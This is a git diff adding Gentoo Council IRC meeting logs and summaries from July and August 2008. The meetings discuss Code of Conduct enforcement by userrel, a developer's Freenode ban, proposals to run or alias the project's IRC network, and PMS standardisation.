+20:59 <   lu_zero@> btw my vote for 56 is yes ^^
+20:59 <   antarus > dberkholz: well run meeting; thanks all
+20:59 < Flameeyes@> sorry guys, I run away then :) have a nice weekend all of you :P
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080724-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080724-summary.txt
new file mode 100644
index 00000000..c8379a6b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080724-summary.txt
@@ -0,0 +1,25 @@
+== Quick summary ==
+
+Item 1: userrel authority: Does userrel have the ability to enforce the
+        CoC on users like devrel does for developers?
+
+It was decided that userrel does have this authority.
+
+
+Item 2: coc extent
+
+All council members will review the CoC thread and comment on it by the
+next meeting (7 August 2008).  We will get a status update in that
+meeting to see if we can vote on any of the proposals brought up in that
+thread.
+
+
+Roll call:
+
+dberkholz       proxied by musikc
+jokey           here
+dertobi123      here
+betelgeuse      proxied by caster
+halcy0n         here
+lu_zero         here
+flameeyes       absent (no slacker mark due to personal reasons)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080724.txt b/xml/htdocs/proj/en/council/meeting-logs/20080724.txt
new file mode 100644
index 00000000..faa6e566
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080724.txt
@@ -0,0 +1,128 @@
+--- Log opened Thu Jul 24 15:59:35 2008
+15:59 <@dertobi123> jmbsvicetto: yes, we're going to first mail to the people in question, then make the decision public. should happen soonish.
+15:59 < Caster> I'm for Betelgeuse but pls give me 5 minutes
+15:59  * dertobi123 is here
+15:59 < jmbsvicetto> dertobi123: thanks
+16:00 <@Halcy0n> Alright, so: musick (for donnie), jokey, dertobi123, caster (for betelgeuse), me 
+16:01 <@Halcy0n> We'll give lu_zero and Flameeyes a few minutes
+16:06  * jokey notes flameeyes is away on jabber as well
+16:06 <@dertobi123> let's start?
+16:06 <@Caster> ok
+16:06 <@musikc|laptop> ready whenever you folks are
+16:06 <@Halcy0n> Yea, I sent lu_zero and Flameeyes something on jabber a few minutes ago.  We can start now and just mark them as not here (unless they show up in the next few minutes)
+16:07 <@jokey> go for it
+16:07 <@jokey> who takes chair for donnie? ;)
+16:07 <@Halcy0n> I can if no one else wants to.
+16:07 -!- dertobi123 changed the topic of #gentoo-council to: Council meeting today - July 24th 2000UTC | agend: 1) userrel authority 2) coc extent
+16:07 -!- dertobi123 changed the topic of #gentoo-council to: Council meeting today - July 24th 2000UTC | agenda: 1) userrel authority 2) coc extent
+16:07 <@dertobi123> bleh
+16:08 <@jokey> Halcy0n: then do so :)
+16:08 <@Halcy0n> Alright, first thing to get out of the way is to announce that we have come to a decision on the appeals.  We will be sending emails to the parties involved directly before sending anything out publically.  Just for everyone that was wondering.
+16:09 <@musikc|laptop> good to hear, thx
+16:10 <@Halcy0n> So, for item #1:  When does everyone think they can reply to the thread on council with your ideas and concerns?  Is there anything in there that you would like to note as something that needs to be clarified.
+16:11 < antarus> coc!
+16:11 < jmbsvicetto> Halcy0n: In case you're considering my "proposal", let me know if you need me to clarify anything
+16:11 <@musikc|laptop> Halcy0n, are some council members already noted as having commented?
+16:12 <@Halcy0n> musikc|laptop: looking at the thread, it looks like myself, Donnie, Luca, and Petteri have commented.
+16:13 <@musikc|laptop> Halcy0n, cool i just wanted to be sure that people knew who did so those folks didnt think they had to again :)
+16:13 <@dertobi123> from my pov there's not that much to discuss there, "our house, our rules" as luca stated. therefore the coc is in place for users as well, except technical limitations when it comes to disciplinary actions
+16:13 <@dertobi123> i.e. we can ban names but not people
+16:14 <@Halcy0n> So, can we say that everyone will have read the thread and atleast posted what they agree with on there by August 1st?  That way by the next meeting we should have something to vote on.
+16:14 <@dertobi123> agreed
+16:15 <@Caster> yup
+16:15 <@musikc|laptop> Halcy0n, so waiting on dertobi123, flameeyes, and jokey right?
+16:15 <@jokey> yap
+16:15 <@jokey> luca!
+16:15 <@lu_zero> hi
+16:16 <@lu_zero> Diego got hospitalized again
+16:16 <@Halcy0n> Alright, Diego won't be making it due to situations outside of his control.
+16:16 <@Halcy0n> What he said
+16:16  * lu_zero got him on phone
+16:16 <@jokey> oh noes
+16:16 <@Caster> :(
+16:16 <@lu_zero> tomorrow he will know for how long hopefully
+16:16 <@musikc|laptop> lu_zero, serious condition or recovering?
+16:16 <@lu_zero> unknown so far =|
+16:17  * musikc|laptop nods
+16:17 <@lu_zero> hm
+16:17 <@musikc|laptop> so crew, not to be callous, with the other two responding by 8/1 is that sufficient?
+16:18 <@lu_zero> musikc|laptop what's the subject?
+16:18 <@Halcy0n> Yes, that's fine.  lu_zero we were discussing when everyone can reply to the userrel thread.
+16:18 <@musikc|laptop> <Halcy0n> So, for item #1:  When does everyone think they can reply to the thread on council with your ideas and concerns?  Is there anything in there that you would like to note as something that needs to be clarified.
+16:18  * jokey has no questions on the thread so vote works for me
+16:18 < jmbsvicetto> musikc|laptop: 01/08/2008 for us non-USians ;)
+16:18 <@musikc|laptop> lu_zero, waiting on dertobi123 and jokey i believe
+16:19 <@musikc|laptop> jmbsvicetto, ya i speak non-us before 9am and after 5pm
+16:19 < jmbsvicetto> musikc|laptop: I had to read that three times to understand what you meant ;)
+16:19 <@musikc|laptop> ;)
+16:19 <@dertobi123> as i said, no need for discussion for me - i'm ready to vote if we want to
+16:19 <@musikc|laptop> jmbsvicetto, just gotta keep you on your toes
+16:19 <@Halcy0n> Alright, so by the next meeting (in 2 weeks) we should be ready to make a decision on that issue, correct?
+16:20 -!- Halcy0n changed the topic of #gentoo-council to: Council meeting today - July 24th 2000UTC | agenda: 1) userrel authority (decision by next meeting, council members to post by Aug 1st) 2) coc extent
+16:20 <@jokey> ++
+16:20 <@musikc|laptop> Halcy0n, do we wait two weeks when the remaining two folks said they need no more time or is it best to have them post their views first?
+16:21 < fmccor> Hard to discuss if they don't post.
+16:21 <@Halcy0n> musikc|laptop: we can make that decision before the next meeting if there seems to be outstanding issues that need further discussion.
+16:22 <@jokey> well dertobi123, any questions left or should we just vote?
+16:22 <@dertobi123> 22:20 <@dertobi123> as i said, no need for discussion for me - i'm ready to vote if we want to
+16:22 <@musikc|laptop> fmccor, not much to discuss i suppose as the thread is dead
+16:22 <@Halcy0n> Okay, then we can vote if everyone is ready.
+16:23 < fmccor> Which are you voting on, please?
+16:23 <@Halcy0n> We are still on #1.
+16:25 <@Halcy0n> So, we are voting on this single point: Does userrel have the authority to enforce the CoC on users like devrel does with developers?
+16:25 <@Halcy0n> Everyone here is ready to vote on that?
+16:25 <@Caster> ready
+16:25 <@musikc|laptop> user rel has done bans on users before, this really isnt a new precident (rbrown for example was done for a week)
+16:26  * musikc|laptop is also ready on dberkholz's behalf
+16:26 <@dertobi123> ready
+16:27  * lu_zero is ready as well
+16:28 <@Halcy0n> Okay, then lets vote:
+16:28 <@Halcy0n> Yes
+16:28 <@jokey> Yes
+16:28 <@musikc|laptop> Yes
+16:28 <@Caster> Yes
+16:29 <@lu_zero> yes]
+16:30 <@dertobi123> yes
+16:31 <@Halcy0n> Alright, so #1 has been approved.  Lets move on to #2, extent of CoC enforcement.
+16:31 -!- Halcy0n changed the topic of #gentoo-council to: Council meeting today - July 24th 2000UTC | agenda: 1) userrel authority (approved) 2) coc extent
+16:33 <@Halcy0n> This one definitely needs discussion on the lists so we can come up with some concrete proposals for the questions Donnie posted.  Would this be something everyone is able to comment on by the next meeting and we can check the status to see if everyone is ready to vote?
+16:34 <@jokey> sounds good to me, given discussion is still ongoing there
+16:34 <@lu_zero> fine as well
+16:35 <@musikc|laptop> would be nice, no one has responded to that discussion since my last post
+16:35 < fmccor> May I suggest something as well?
+16:35 <@musikc|laptop> perhaps someone on council could kick it back into discussion
+16:35 <@Halcy0n> musikc|laptop: I'll post something later tonight after I read through the most recent posts.
+16:35 <@Halcy0n> fmccor: ?
+16:36 < fmccor> One problem here is that Code of Conduct as posted is badly out of date (talks of proctors and such), and probably incomplete as well.
+16:37 <@musikc|laptop> fmccor, look up the word proctor
+16:37 <@musikc|laptop> i suspect you read it as a position and not its literal meaning
+16:37 <@Halcy0n> fmccor: this sounds like something that should be brought up in that discussion (if it hasn't been already).  I'd suggest having that conversation on the mailing list though.
+16:37 < fmccor> No, I read it as meant at the time and as implemented.
+16:37 <@musikc|laptop> "an official charged with various duties, esp. with the maintenance of good order."
+16:38 <@musikc|laptop> fmccor, you werent around for  the conversations about the chosen word, it was quite dilberate
+16:39 < fmccor> I remember that we established a proctors project, and now don't have one, and I remember discussions last year about updating it.
+16:39 <@musikc|laptop> fmccor, perhaps before we revise the CoC, we should continue the conversation about to what extent it should be enforced so we could make a single revision instead of one this week and one in two weeks
+16:40 <@Halcy0n> musikc|laptop: agreed.  Revising the CoC will likely be a part of any decision we make.
+16:40 <@jokey> so definitely defer it to ml
+16:40 < jmbsvicetto> fmccor / musikc|laptop: If by extent you include my proposal, as I've stated, it doesn't need to be directly tied to CoC
+16:41 <@dertobi123> jokey: yup
+16:41 < jmbsvicetto> fmccor / musikc|laptop: I see it as the final line for gentoo involvement, so it could be under userrel/devrel policy
+16:42 <@Halcy0n> Okay, so lets have everyone please comment on the CoC thread by next meeting and we will get a status update at that point to see if everyone is ready to vote, or if more discussion needs to take place.
+16:42 < fmccor> jmbsvicetto, More userrel, probably, because as written, your proposal (I think) does not apply to developers?
+16:42 <@Caster> Halcy0n: right
+16:42 <@jokey> ++
+16:42 <@Halcy0n> If everyone agrees to that, then we are done since that was everything on the agenda.
+16:43 <@musikc|laptop> Halcy0n, sounds good. same question as last time. do we know who has already commented and who remains?
+16:43 <@Halcy0n> musikc|laptop: looks like myself and dertobi123 were the only ones to comment.
+16:43 < wolf31o2> if anybody wants any information on the "intent" behind CoC stuff, feel free to ask me... since I was one of the primary people pushing it and was involved in all aspects of its creation, rather than listening to anyone who has only heard things "second hand" and wasn't involved...
+16:44 <@Halcy0n> wolf31o2: good to know.  We may have questions for you if anything comes up in the discussion on the mailinst list then
+16:44 <@musikc|laptop> wolf31o2, not sure. fmccor has mentioned a few times to see christel or kloeri regarding intent, ive advised that you and kingtaco really led it
+16:44 < wolf31o2> I've had fun over the last few days reading other people pushing their own ideas as if they were some kind of golden ticket to the intentions of the people involved, rather than simply *asking* said people
+16:45 < fmccor> I  had thought that last council had revised it or were going to, but I can't find the changes if they ever did.
+16:46 < wolf31o2> musikc|laptop: christel was acting as a secretary... she had no real part in the creation of it other than being present and being the one tasked with writing it and editing it... she did the first... the latter had to be reassigned to someone else because we couldn't track her down to work on it... when we finally did, she was off drinking with somebody (Astinus, I think, actually) and couldn't be bothered to participate
+16:46 <@musikc|laptop> cant that be found in CVS?
+16:46 < wolf31o2> so using her as a reference for something she barely had part of isn't exactly the best method for getting accurate responses
+16:46 < wolf31o2> ;]
+16:46 < igli> ugh
+16:47 <@Halcy0n> Alright, and with that I think we can say this meeting is adjourned :)  Thanks everyone.
+16:47 <@musikc|laptop> thanks for chairing Halcy0n :)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080814-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080814-summary.txt
new file mode 100644
index 00000000..da4b5314
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080814-summary.txt
@@ -0,0 +1,182 @@
+Roll call:
+betelgeuse here
+dberkholz  here
+dertobi123 here
+flameeyes  here [cardoe]
+halcy0n    here
+jokey      here
+lu_zero    here
+
+
+Dates, or nothing to add:
+betelgeuse Monday
+dberkholz  Monday
+dertobi123 Monday
+flameeyes  Cardoe will ask
+halcy0n    Monday
+jokey      Today
+lu_zero    ??? (Having sporadic power issues)
+
+
+Unplanned topics
+================
+
+All the council members should nominate default proxies.
+
+
+New topics
+==========
+
+Reactions to dev banned from freenode
+-------------------------------------
+rane:
+I'd like to ask Council to discuss possible reactions to our developer 
+being banned from Freenode without providing us with a reason. ... It 
+would be good if Council officially protested against that ban and 
+demanded a detailed explanation from Freenode staff.
+
+Q/C:
+
+20:14 <   Halcy0n@> Do we have a history of how many times this has happened?  
+                    I believe another dev was klined after this was initially 
+                    brought up.
+20:14 <    musikc > ive spoken with the second dev actually
+20:16 <    musikc > the guy said he'd done what he was told to do and was still 
+                    waiting for some resolution
+20:17 <    musikc > i last spoke to him on the 10th
+
+
+
+Moving meetings to a location we control
+----------------------------------------
+rane:
+I want Council to consider moving their meetings somewhere where third 
+parties can't control who in Gentoo can attend and who can't. Like our 
+own small and created just for this purpose IRC server.
+
+Q/C:
+
+20:26 <    Cardoe > We already have a public ML where predominately a lot of 
+                    the discussion takes place. Is there really any actual 
+                    supression occurring because of our use of Freenode?
+20:26  *    jokey is still not in favour of running an irc network
+20:27 < dberkholz@> Halcy0n: motivation is that when our devs get klined, it's 
+                    really hard for them to work with others on irc
+20:28 < dberkholz@> antarus: as i was saying earlier, freenode is a tool for 
+                    us. if that tool is getting in our way, it needs to change
+20:29 <    Cardoe > dberkholz: the question is the tool getting in our way or 
+                    hindering us. Or will devising our own tool hinder us more..
+20:30 <   Halcy0n@> Cardoe: I think us having to maintain it will be more of a 
+                    headache.
+20:30 <    Cardoe > Halcy0n: I'm in agreement with you on that.
+20:30 <dertobi123@> dito
+20:31 <     jokey@> indeed, let's discuss this there
+20:32 <    Cardoe > We have other things to use manpower on, like developing a 
+                    distribution.
+
+
+We currently have 2 freenode group contacts: fmccor and rane.
+
+
+Favor irc.gentoo.org alias in docs, etc
+---------------------------------------
+rane:
+I want Council to consider creating and using irc.gentoo.org alias 
+instead of irc.freenode.net in our docs, news items and so on. The alias 
+would allow us to move out of the network more easily should we ever 
+decide to do so.
+
+Q/C:
+
+spb brought up a good point to think about.
+
+20:35 <       spb > as people connect to irc.gentoo.org and assume that 
+                    generic-sounding channel names are all about gentoo
+20:35 <Betelgeuse@> spb: And people connect to freenode and assume gentoo-java 
+                    is about generic Java
+20:37 <     jokey@> I'd say at least one user every 3-4 days over in #gentoo-php
+20:37 <Betelgeuse@> jokey: Quite common on #gentoo-java too even with the 
+                    warnings all over the place.
+
+
+Why aren't fired developers banned from the channels where they 
+displayed this behavior?
+---------------------------------------------------------------
+yngwin:
+It really baffles me that some developers are forcefully retired for 
+anti-social behavior, but are not consequently banned from the places 
+where they display this behavior, such as our MLs and IRC channels. What 
+good is it to retire developers, but allow them to continue to be 
+disruptive? I would like the Council to decide for a change in our 
+policy on this point.
+
+Q/C:
+
+20:44 <dleverton_ > As I said on the list (maybe too late for anyone to have 
+                    noticed), since yngwin said there were're actually any devs 
+                    that this applies to, is there anything to discuss?
+20:45 < dberkholz@> dleverton_: i must've interpreted his response differently 
+                    from you
+20:45 <    yngwin > i didnt say it like that, dleverton_
+20:45 < dberkholz@> what i understood was that we should ban them from the same 
+                    communication channel
+20:46 < dberkholz@> and allow other ones where they handled themselves 
+                    differently
+
+spb commented that the three fired devs were actually banned from
+#gentoo-dev for quite some time.
+
+20:51 <    musikc > from a devrel perspective, we do not give voice to every 
+                    dev who is retired so why should a forcibly retired dev be 
+                    any different?
+
+20:51 <     tomaw > Is the council interested in the autodevoice feature or is 
+                    this rambling off topic?
+20:51 <jmbsvicett > tomaw: As long as we stick to freenode, -1 is something 
+                    that interests us
+
+20:52 <    Cardoe+> Standardize a policy for what happens to voluntarily 
+                    retired devs and forcibly retired devs.
+20:53 <    Cardoe+> Can we actually tweak it?
+20:53 <    Cardoe+> the council direct devrel to come up with a proposed 
+                    solution/policy
+20:55 <    musikc > dberkholz, your call. happy to assist by doing work or by 
+                    just stating current process and devrel stance :)
+
+
+PMS as a draft standard of EAPI 0
+---------------------------------
+spb:
+It should be treated as a draft standard, and any deviations from it 
+found in the gentoo tree or package managers should have a bug filed 
+against either the deviator or PMS to resolve the differences.
+
+Alternatively, what (specific) changes are required to PMS before such a 
+statement can be made?
+
+Q/C:
+
+The portage devs need to commit to it. How do conflicts get resolved?
+
+20:56 < dberkholz@> we were talking about this earlier today in here
+<20:57 < dberkholz@> to quickly summarize, EAPI 0 and portage need to agree. 
+                    there are some conflicts of opinion, and the question is 
+                    how do they get resolved?
+20:58 < dberkholz@> 17:24 <   zmedico > dberkholz: mainly these two:  
+                    http://bugs.gentoo.org/show_bug.cgi?id=222721  
+                    http://bugs.gentoo.org/show_bug.cgi?id=232990
+20:58 < dberkholz@> 17:25 <   zmedico > In both cases I consider something to 
+                    be negligible that  the pms folks do not
+
+20:59 <    Cardoe+> potentially creating a PMS editor post.
+21:00 <    Cardoe+> Put it in the hands of a third party
+21:00 <    Cardoe+> and if there's a conflict, let the council decide
+
+21:01 <    musikc > dberkholz, conflict in that some feel PMS is biased?
+
+21:07 <       spb > differences will be resolved by filing a bug, so what needs 
+                    to be sorted is what sort of escalation/mediation mechanism 
+                    there is
+
+We ran past the 1-hour mark, so this is pushed back to the list. It will 
+be on the next agenda in 2 weeks if it's not resolved by then.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080814.txt b/xml/htdocs/proj/en/council/meeting-logs/20080814.txt
new file mode 100644
index 00000000..270cbf31
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080814.txt
@@ -0,0 +1,430 @@
+20:00 < dberkholz@> ok, it's time
+20:00 < dberkholz@> roll call please, who's here?
+20:00 <dertobi123@> <-
+20:00 <dertobi123@> heya btw
+20:00 -!- Irssi: #gentoo-council: Total of 72 nicks [6 ops, 0 halfops, 0 voices, 66 normal]
+20:01 <    Cardoe > Cardoe for Flameeyes
+20:01 <Betelgeuse@> yes
+20:01  *  Halcy0n is here
+20:01 < dberkholz@> jokey, lu_zero: are you here?
+20:03  * dberkhol  waits
+20:03 <   strites > hello
+20:03 < dberkholz@> jokey's been idle for almost 2 days, lu's around somewhere
+20:04 <   Halcy0n@> I just IM'd jokey
+20:04 <NeddySeago > dberkholz, just go for it, you have a quorum
+20:04 <   strites > I am here to say lu_zero's neighborhood got a black out
+20:04 <    musikc > dberkholz, i was just talking to lu and he said he has the flu atm
+20:04 <    musikc > wow, that sucks
+20:04 <      rane > flu and blackout, what a day
+20:04 < dberkholz@> apparently he's doubly excused.
+20:04 <   strites > just called me with cell
+20:04 < dberkholz@> that reminds me, we really need to get default proxies for everyone 
+20:04 <   strites > he told he'll be back asap ^^'
+20:05 <dertobi123@> can't get jokey  on his mobile phone, so yeah ... seems he's away
+20:05 <      rane > so two out
+20:05 <   Halcy0n@> dertobi123: he just answered me on IM.
+20:05 <   Halcy0n@> He's coming.
+20:05 <dertobi123@> ok
+20:06  *    jokey looks up
+20:06 <     jokey@> sorry for being late
+20:06 < dberkholz@> hopefully people had a chance to see what i suggested we should do during the meeting today
+20:07 < dberkholz@> if not, it's at the top of http://dev.gentoo.org/~dberkholz/20080814-agenda.txt
+20:07  *   musikc hands lu_zero some juice and puts him the corner away from the others :-P
+20:08 < dberkholz@> to start off, i'd like to get commitments from everyone about when you'll reply on -dev to all the agenda topics (or -council for the CoC one)
+20:08  *    jokey read the points already and formed an opinion
+20:08 <     jokey@> next hour
+20:08 <     jokey@> (given we have a meeting atm; was catching up on mails)
+20:08 < dberkholz@> i'm going to commit to monday, although i hope to get it done earlier
+20:09 -!- mode/#gentoo-council [+o lu_zero_] by ChanServ
+20:09 <dertobi123@> i can comment on the threads until end of the weekend
+20:09 <   Halcy0n@> dberkholz: I'll respond to them all by the end of the weekend.  I haven't read through everything yet since my DSL was out for 4 days.
+20:09 -!- lu_zero_ is now known as lu_zero
+20:09 <   lu_zero@> uff
+20:09 < dberkholz@> lu_zero: 20:08 < dberkholz@> to start off, i'd like to get commitments from everyone  about when you'll reply on -dev to all the agenda topics  (or -council for the CoC one)
+20:09 <   lu_zero@> I was missing thunderstorm....
+20:09 <   lu_zero@> dberkholz I'll be flickering at best
+20:10 <    Cardoe > dberkholz: I've obviously got to confer with Flameeyes on that. Not sure how much keyboard time he's got right now.
+20:10 < dberkholz@> Betelgeuse, dertobi123, jokey...
+20:10 < dberkholz@> jokey: did i understand correctly? you're going to send emails for all of them in the next hour?
+20:11 <dertobi123@> dberkholz: as i said, until the end of the weekend
+20:11 <Betelgeuse@> dberkholz: weekend is fine
+20:11 <     jokey@> dberkholz: yeah, I read up on most topics so I should be able to send them soonish
+20:11 < dberkholz@> jokey: is soonish today?
+20:11 <     jokey@> unless you have points to add that need other commenting
+20:12 < dberkholz@> yes, if there's ongoing discussion, we aren't setting a deadline on that
+20:12 < dberkholz@> just on getting your initial points out there
+20:13 < dberkholz@> lu_zero: please respond whenever you've got a reliable connection
+20:13 < dberkholz@> let's move on
+20:13 <   lu_zero@> I'll try
+20:13 -!- dberkholz changed the topic of #gentoo-council to: Reactions to dev banned from freenode
+20:14 < dberkholz@> who's got a comment or question right now?
+20:14 <   Halcy0n@> Do we have a history of how many times this has happened?  I believe another dev was klined after this was initially brought up.
+20:14 <    musikc > yes
+20:14 <    musikc > ive spoken with the second dev actually
+20:15 <dertobi123@> who's the second one and when did that happen?
+20:15 <   Halcy0n@> And is there any other informatino you can share with us in public, or is best to talk about this on council@?
+20:15 <    musikc > he's still banned but i was able to speak to tomaw and kloeri who told me what to tell him. they said all info was in the ban message but the dev indicated otherwise. no real proving that
+20:16 <    kloeri > I can confirm the info is in the ban message fwiw
+20:16 <    kloeri > or was, whatever is the case - I don't know if they kline is expired or not
+20:16 <    musikc > the guy said he'd done what he was told to do and was still waiting for some resolution
+20:17 <    Cardoe > Halcy0n: council@ is a public ML.
+20:17 <   Halcy0n@> Cardoe: not g-council, but the council alias
+20:17 <    musikc > i last spoke to him on the 10th
+20:17 <    Cardoe > Halcy0n: mm. my bad. you're right
+20:18 <KungFuJesu > ahoy
+20:18 < dberkholz@> alright
+20:18 <    musikc > the guy is on another network if council wishes to speak with him
+20:18 <    musikc > i can share info privately
+20:18 <   Halcy0n@> I know who it is and can relay whatever I get from him to the rest of you.
+20:19 <KungFuJesu > who are the "dev banned from ferenode"?
+20:19 <   Halcy0n@> I didn't connect dots :)
+20:19 <KungFuJesu > "freenode"*
+20:19 < dberkholz@> is there some particular reason we aren't mentioning whoever it is?
+20:19 <KungFuJesu > is this really a worthy discussion for the gentoo council?
+20:20 <   antarus > it was requested they talk about it
+20:20 <   Halcy0n@> dberkholz: it was ricmm.  I don't see a problem with mentioning the name since the quit message clearly said he was klined.
+20:20 <KungFuJesu > I mean, it's just an IRC related issue, why aren't we discussing gentoo?
+20:20 <   antarus > if they didn't want to discuss it they would just skip it
+20:20 <KungFuJesu > well, what was the reason he/she was banned?
+20:20 < dberkholz@> KungFuJesus: irc is a critical tool uses to do our job. if that tool is broken, it needs to be fixed. 
+20:20 <   Halcy0n@> KungFuJesus: this is a Gentoo related issue since its affecting one of our communication mediums for a dev.
+20:20 < dberkholz@> s/uses/gentoo uses/
+20:20  *   fmccor has never herd of him.
+20:21  * KungFuJe hasn't either
+20:21 <KungFuJesu > heh, probably because he can't join our IRC
+20:21 <    musikc > i dont think it matters who the dev is or if anyone heard of him fwiw, he's a dev all the same
+20:21 <   Halcy0n@> dberkholz: I will talk to him and see if he wants to share why he was banned so we can discuss the specifics.  If no one has anything else to add to this conversation point, I suggest we move on.
+20:22  * KungFuJe seconds that
+20:22 <dertobi123@> anyways, can we get the facts some of us have posted to council@, please?
+20:22 <   Halcy0n@> KungFuJesus: please, unless you have something to add, can you refrain from commenting?  Thank you
+20:22 <   Halcy0n@> dertobi123: I will find out how he wants me to share the details and let you guys know either way.
+20:22 <     tomaw > This issue was resolved on the day I was made aware of it.  The dev in question is aware of that, and the reasons for the kline.  I suggest you discuss with him to find out if he's willing to share.
+20:22 <    musikc > dertobi123, i'll share the background that i have
+20:23 < dberkholz@> i don't really have more to add on this topic. more relevant to the next ones.
+20:23 <dertobi123@> Halcy0n, musikc: thanks :)
+20:23 <     tomaw > Also, please /whois ricmm.
+20:23 <KungFuJesu > Halcy0n: Sorry, I just feel that there's not much to add as many details aren't being shared about
+20:23 <   Halcy0n@> KungFuJesus: if you have nothing to add, you don't need to say anything then, so please, consider that.
+20:24 -!- dberkholz changed the topic of #gentoo-council to: Moving meetings to a location we control
+20:24 <   antarus > Halcy0n: I think he gets the point ;p
+20:24 <   Halcy0n@> antarus: I'm not sure he does ;)
+20:24 <   lu_zero@> anyway
+20:24 <   lu_zero@> back to the topic
+20:24 <     tomaw > dberkholz: Could you just confirm my lines made it to the channel?  Noone responded :)
+20:24 < dberkholz@> tomaw: yes
+20:24 <   Halcy0n@> tomaw: yup, we saw.
+20:24 <     tomaw > Thanks.
+20:24 < dberkholz@> tomaw: we haven't +q'd you yet. =)
+20:24 <     jokey@> :D
+20:24 <       spb > wouldn't make much difference if you had
+20:24 <   markand > hi there
+20:25 < dberkholz@> anyone got a question/comment about the next topic?
+20:25 <    musikc > dberkholz, all of these topics will be discussed on lists as well so voting can take place hopefully next mtg?
+20:26 <    Cardoe > We already have a public ML where predominately a lot of the discussion takes place. Is there really any actual supression occurring because of our use of Freenode?
+20:26 <jmbsvicett > dberkholz: That issue should be discussed at the same time as having a gentoo irc network, imho
+20:26  *    jokey is still not in favour of running an irc network
+20:26 <KungFuJesu > now that I agree on, if gentoo hosts the IRC server, these problems won't happen
+20:26 <   Halcy0n@> dberkholz: I need to read all of the emails to understand what the motivation is for this, so I can't give any useful comments at this point in time.
+20:27 <KungFuJesu > honestly is there any reason to use freenode other than the fact it's easier than hosting it yourself?
+20:27 < dberkholz@> Halcy0n: motivation is that when our devs get klined, it's really hard for them to work with others on irc
+20:27 <    musikc > motivation being that devs have asked for it?
+20:27 <   Halcy0n@> musikc: I meant the reasoning behind asking for it.
+20:27 <    musikc > been a bit of dialog on the lists for that
+20:27 <   Halcy0n@> I haven't read it all yet.  I have a backlog of emails I'm still sifting through :)
+20:27 <    yngwin > also, the situation with the group contacts
+20:27 <   antarus > dberkholz: I think our devs should be motivated to not get klined ;)
+20:27 <    musikc > honestly, though wolf tried to calm it, i suspect the conversation started b/c of that incident
+20:28 <       spb > all of which can be summed up with paranoia, conspiracy theories and general storm-in-a-teacup
+20:28 <KungFuJesu > antarus: you gotta point there, I wish I knew the reason he was klined
+20:28 < dberkholz@> antarus: as i was saying earlier, freenode is a tool for us. if that tool is getting in our way, it needs to change
+20:28 <       spb > yngwin: the situation is that gentoo has two active group contacts
+20:28 <   Halcy0n@> spb: who are those 2?  I thought it was musikc and rane?
+20:28 <    musikc > spb, yes. i had to quit before that took place though
+20:28 <       spb > ferris and rane
+20:29 <   Halcy0n@> spb: oh, when was ferris added?  I thought there was quite a backlog to getting GCs added?
+20:29 <       spb > ferris was there all along
+20:29 <    musikc > Halcy0n, this morning
+20:29 <       spb > he was never properly removed
+20:29 <    Cardoe > dberkholz: the question is the tool getting in our way or hindering us. Or will devising our own tool hinder us more..
+20:29 <    fmccor > Halcy0n, Turns out I have been all along, but didn't know I was still active.
+20:29 <       spb > so when musikc left, he asked to be reactivated, as it were
+20:29 <   Halcy0n@> spb: ah, okay.
+20:29 <KungFuJesu > Cardoe: how hard could it possibly be to run an irc server?
+20:30 <       spb > ha. ha. ha.
+20:30 <   Halcy0n@> Cardoe: I think us having to maintain it will be more of a headache.
+20:30 <KungFuJesu > I understand porting some of the bots may be a pain
+20:30 <       spb > it's easy, if you have no users
+20:30 <    Cardoe > Halcy0n: I'm in agreement with you on that.
+20:30 <dertobi123@> dito
+20:30 <KungFuJesu > does irc really eat that much bandwidth?  Or are we talking about moderation issues?
+20:30 <   Halcy0n@> But, I think these are all things that we should bring up on the list to figure out what is possible.
+20:31 <   Halcy0n@> KungFuJesus: maintainence, legal issues, trolls, DoS attacks, etc
+20:31 <     jokey@> indeed, let's discuss this there
+20:31 <   Halcy0n@> There is a lot involved that we shouldn't waste the manpower on.
+20:31 <KungFuJesu > the DoS I can see as an issue, I don't know about legality, and trolls will troll
+20:31 <    yngwin > but we could still move to oftc
+20:31 <    Cardoe > Halcy0n: exactly
+20:31 <KungFuJesu > ban them when they're out of line, ignore them otherwise
+20:31 <   Halcy0n@> yngwin: that is a possibility, but again, something we should discuss on the mailing lists to see if we do indeed want to move, how many people will do so.
+20:32 <    Cardoe > We have other things to use manpower on, like developing a distribution.
+20:32 <    yngwin > sure
+20:32 <   Halcy0n@> I'd hate to see us get into a situation where half of our channels are on one networks, and half on the other.
+20:32 <jmbsvicett > Halcy0n: That has been raised in the mls
+20:32 < dberkholz@> KungFuJesus: you might want to bring up your questions on the gentoo-dev list once the meeting is over
+20:32 <   Halcy0n@> jmbsvicetto: okay, good to know :)
+20:32 <Betelgeuse@> dberkholz: -project rather
+20:33 <KungFuJesu > Halcy0n: the division of networks I can see as a huge problem, as freenode is pretty much a wild west of channels
+20:33 < dberkholz@> suppose we should try to bounce that thread over
+20:33 < dberkholz@> next topic
+20:33 -!- dberkholz changed the topic of #gentoo-council to: Favor irc.gentoo.org alias in docs, etc
+20:33 <Betelgeuse@> +1
+20:33 <   Halcy0n@> I agree with this, without even having to read anything on it
+20:33 <   lu_zero@> fine with it
+20:34 < dberkholz@> in general, i like this idea regardless of the migration thing.
+20:34 <jmbsvicett > dberkholz: We already have the dns alias and should really use it instead of irc.freenode.org everywhere
+20:34 <dertobi123@> i guess we can easily vote on that, right?
+20:34  * KungFuJe agrees
+20:34 < dberkholz@> i like it for branding reasons
+20:34 < dberkholz@> kinda like irc.gnome.org actually goes to gimpnet
+20:34 <   Halcy0n@> KungFuJesus: please, if you have something of substance to add to the conversation, do so, otherwise let us have our meeting.
+20:34 <KungFuJesu > I like it for consistency's sake, many distros follow the same trend
+20:34 <     jokey@> ++
+20:35 <       spb > experience from other networks shows that it becomes a pain in the arse for other random channels on that network, though
+20:35 <       spb > as people connect to irc.gentoo.org and assume that generic-sounding channel names are all about gentoo
+20:35 <Betelgeuse@> spb: And people connect to freenode and assume gentoo-java is about generic Java
+20:36 <       spb > less commonly
